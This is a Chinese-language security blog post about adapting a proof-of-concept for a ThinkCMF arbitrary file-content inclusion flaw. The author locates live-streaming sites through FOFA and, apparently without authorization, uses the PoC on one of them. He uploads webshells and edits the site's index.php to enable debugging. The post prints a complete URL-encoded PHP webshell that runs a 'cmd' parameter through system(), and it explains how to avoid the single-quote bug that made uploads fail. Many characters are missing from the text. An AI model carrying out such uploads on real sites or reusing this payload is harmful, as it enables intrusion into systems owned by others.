单引号双引号与poc的故事

  • A+
所属分类:安全文章

本文作者:SRSP TEAM:taomujian




poc的故事开始


最近编写个Thinkcmf任意件内容包含漏洞插件,因为之前写过这个漏洞的poc觉着会很简单,此次的只要增强下功能,能上传定义的就拿出曾经写的poc开始改造之旅,先找个境,曾经发好多境外ip的直播站的都是这个框架,所以本地也不搭建了,fofa上直接搜索直播,可以看到很多标,随便寻找个


单引号双引号与poc的故事


先poc试下,成功了


单引号双引号与poc的故事


访问上传的shell件,可上传成功了,但system危险函数被禁使了,所以上传其它的 ,这次上传个只具有件上传点的件。


单引号双引号与poc的故事


问题来了,poc中的payload是公开的,但是怎么构造的呢?

 

%3c%3f%70%68%70%0d%0a%65%63%68%6f%20%6d%64%35%28%22%54%68%69%6e%6b% 43%4d%46%22%29%3b%0d%0a%20%20%20%20%69%66%28%69%73%73%65%74%28%24% 5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%29%7b%0d%0a%20%20%2 0%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%70%72%65%3e%22%3b %0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%63%6d%64%20%3d%20%28 %24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%3b%0d%0a%20%20% 20%20%20%20%20%20%20%20%20%20%73%79%73%74%65%6d%28%24%63%6d%64%29%3 b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%2f %70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%64%69 %65%3b%0d%0a%20%20%20%20%7d%0d%0a%70%68%70%69%6e%66%6f%28%29%3b%0d% 0a%3f%3e


单引号双引号与poc的故事


看着payload好像是url编码,去http://tool.chinaz.com/Tools/URLEncode.aspx?qq-pf-to=pcqq.temporaryc2c


解下码,发现可以成功解码


单引号双引号与poc的故事


然后再编码下,咋回事怎么和原来的不一样


单引号双引号与poc的故事


换个站http://web.chacuo.net/charseturlencode,发现这上有个选 ,对基本字符进编码,也可以对所有字符进url编码,试下对所有字符串进url编码,这下对了。


单引号双引号与poc的故事


python3带的urllib.parse.quote只会对些字符串进编码,要想对所有字符串进 url编码,得写个功能,v2ex上有哥问过这个问题了,https://www.v2ex.com/t/352723,问题评论下有答案,试了下是可以的。


接下来就把的件传上去,试下,失败了,竟然失败了,此处有个坑,上传的件中不能单引号,有单引号会上传失败,这个问题困扰我好时间,在伙伴提示下我先上传收集的句话(为什么成功了?后来才知道上传的这个句话是双引号,所以成功了),然后去把标的调试模式打开.对就这么的,直接修改index.php,然后修改调试为真就好


单引号双引号与poc的故事


然后浏览器直接发送带单引号的payload,发送过去,可以看到已经有报错了


单引号双引号与poc的故事


去看下志件


单引号双引号与poc的故事


找到内容后终于知道了原因,这个框架会执这么句话,在这句话中我们写的内容有单引号,外有个单引号,所以php解析错误了。


单引号双引号与poc的故事


终于知道原因了,修改poc,这个插件终于写好了,完美,收


单引号双引号与poc的故事





扫描下方二维码加入Web安全攻防星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

单引号双引号与poc的故事

目前20000+人已关注加入我们

单引号双引号与poc的故事



本文始发于微信公众号(Ms08067安全实验室):单引号双引号与poc的故事

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: